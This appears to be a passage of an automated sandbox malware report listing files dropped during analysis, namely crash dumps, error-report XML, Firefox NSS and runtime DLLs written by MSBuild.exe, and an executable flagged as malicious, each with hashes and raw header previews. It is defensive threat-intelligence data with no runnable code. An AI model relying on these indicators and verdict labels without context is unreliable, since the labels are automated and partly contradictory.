SHA1:	488007F45AA5069EDA532173012DEFA445579F00
SHA-256:	2507B1F41933FE91868F5A63E90F1E506EB1096232F44D5EB9FA67C5B4D04F6B
SHA-512:	5C78B681B1A72785E4B8FA014E3FC116B981ED5570EBD9C5A630E64D18FFCF8CDD294C542040A6913F56D91194ECAD0CFBED8AC4EE0F130EAD6441E024315B0C
Malicious:	false
Preview:	MDMP..a..... ..........g........................d...........................T.......8...........T...............,z......................................................................................................eJ..............GenuineIntel............T.......t......g.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERDE91.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Tue Oct 8 00:45:48 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	35296
Entropy (8bit):	1.6617813137708186
Encrypted:	false
SSDEEP:	192:/ooQ9Pwp7tOJYgUvHUXX9X4wnZHR3Ynsd:wL9C7gLOc97HNY
MD5:	DD449179E27DE268306498B75368C1C4
SHA1:	0FFC4A522726687A2D4F7468EB7B1B1C2F56978C
SHA-256:	9BAF31AB41E7C34358AF0B19055C3E2538CD3DDE57238DB65C6BA77C4D13A121
SHA-512:	C3216CE654A3C4A0D8F4FE2ACA93DE202202B15ABC284D10EB2FF8876CA59A86A2B19201BB0675AA63A4448EB4AB085EB8CA640AA3025B10DC5BDEC60E819D05
Malicious:	false
Preview:	MDMP..a..... ..........g........................d...........................T.......8...........T...............0.......................................................................................................eJ..............GenuineIntel............T....... ......g.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERDEC1.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8324
Entropy (8bit):	3.702854126772712
Encrypted:	false
SSDEEP:	192:R6l7wVeJwV6ca6YdQ6Zgmfk/DlYTpre89bygsfcmm:R6lXJa6J6Yq6Zgmfk7WpyzfU
MD5:	7D11D26B6EDEDE42409B3D2D18CF187F
SHA1:	2BD41B79949CF2DB53015D05492F8D6900E79819
SHA-256:	8F6A798673AE983F98D4E3A6C784AB65A260EA97609A452A0395E2E6A0A712B3
SHA-512:	770A5FB814939234CE88A2300BAB6BD699220FD711B144425B16AB02D1FD38B0B00F8802277F08BAD1702B46248A81FEE3DDD1B27480C4117D3E37A46DAD7133
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.9.6.8.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERDEF1.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4678
Entropy (8bit):	4.502052728124193
Encrypted:	false
SSDEEP:	48:cvIwWl8zskJg77aI9NaWpW8VY1Ym8M4JywkFyki+q8QH5aRued:uIjfiI7Lb7VBJyUx5aRued
MD5:	A919CCE3B1EA58FEF4AB49CE6975DE36
SHA1:	1C914B8D4732B7283BCF3FF744D74FBCF886F440
SHA-256:	BABC98CE41BA6B3AB1B167237B70A50661A654A7B1FBB29CC2A6F46E87710EED
SHA-512:	4C54ABD254D5AA4E376158FF45F26FF8E0DC42BF4D55D777BC59EAEC8E1976759855B46129751F4D155ACDD9D3139D585360D55278F55B3364B58B8135EDC7C0
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="533748" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE51.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8326
Entropy (8bit):	3.693197800468974
Encrypted:	false
SSDEEP:	192:R6l7wVeJjB6B6Y9HSU9Xgqgmfqy4Tpr+89bXvsfddm:R6lXJl6B6YdSU91gmfqy4JXUfW
MD5:	D8139E33097EE7317118C36AE27D0A53
SHA1:	63CE1447D976CDA03124BD7E81749DF0931629DD
SHA-256:	02BE258EC084DC853536859F11062D725AADBD9E01CDF36D67D146DDC5ED38A0
SHA-512:	0FE48D0C1FBA7082983289D9549BBAFEBBF09CCA29D94D2BF9576121C416AD3101D6BA898BFD10E5FA7EAF2B5126B9B6BAF21831DB5D0F9CF651BC0C1276F49E
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.2.8.4.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE81.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4678
Entropy (8bit):	4.469249843020742
Encrypted:	false
SSDEEP:	48:cvIwWl8zshJg77aI9NaWpW8VY6Ym8M4JsOFXv+q8mKG5aaEZaZad:uIjfzI7Lb7VeJJv75arZaZad
MD5:	35F677E5738CF8A9B3BF62AE0B1A4312
SHA1:	18DFE711AB175E4B63CFC06DDAAEF0CE83208C97
SHA-256:	319B1B3B13CA10C79931FFDE92F39D72CAA550F7F1E9903CA2EF35D7731FD7D9
SHA-512:	37D40C495CC0036BD02E947A10EF8CA762FA21367E97E154321A3B4F06D5F1E74CD4B3D421C19F40847D0A13335F9896192EA0307E4C8DEC3646C85FDC3465B6
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="533747" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: XQywAEbb9e.exe, Detection: malicious, Browse Filename: c95eb189cffef0c6b222d31de3c7ed0f9cabad48a38aa.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: lihZ6gUU7V.exe, Detection: malicious, Browse Filename: Bn7LPdQA1s.exe, Detection: malicious, Browse Filename: WiTqtf1aiE.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: out.exe, Detection: malicious, Browse Filename: wULBz8VjH0.exe, Detection: malicious, Browse Filename: FdjDPFGTZS.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: XQywAEbb9e.exe, Detection: malicious, Browse Filename: c95eb189cffef0c6b222d31de3c7ed0f9cabad48a38aa.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: lihZ6gUU7V.exe, Detection: malicious, Browse Filename: Bn7LPdQA1s.exe, Detection: malicious, Browse Filename: WiTqtf1aiE.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: out.exe, Detection: malicious, Browse Filename: wULBz8VjH0.exe, Detection: malicious, Browse Filename: FdjDPFGTZS.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\a43486128347[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	551424
Entropy (8bit):	7.721600386987204
Encrypted:	false
SSDEEP:	12288:VDyHj9OPDUcFkkshpP584sKisQiAGLuV54S:Vi9Ozkkse4lLOo
MD5:	3EFC73BB21B794BC0F39690FC48A4853
SHA1:	875A2B39260DB4C24C9C53B351D808EDF0D6E019
SHA-256:	93BD0A8B49C37AE06B2F371F4FD1BE25228033121411EE4B19BDF932396E94EC
SHA-512:	8EE52386BAFC2848CF9C10A76943BB81B028E29043A269DEA2EFDEB92A69AC04CFC14BE7C59F501855CE455DA62BB361A725E09A244C0D440DC2884C0055789A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......=.9.y.WUy.WUy.WU..TTu.WU..RT..WU..STl.WU..VTz.WUy.VU!.WUilTTm.WUilSTk.WUilRT4.WU1m^Tx.WU1m.Ux.WU1mUTx.WURichy.WU................PE..L...C..g...............).....b......Ro.......0....@.......................................@.....................................(.......................................................................@............0..,............................text............................... ..`.rdata..x....0......................@..@.data...............................@....rsrc................J..............@..@.reloc...............N..............@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\msvcp140[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\mozglue[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\nss3[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
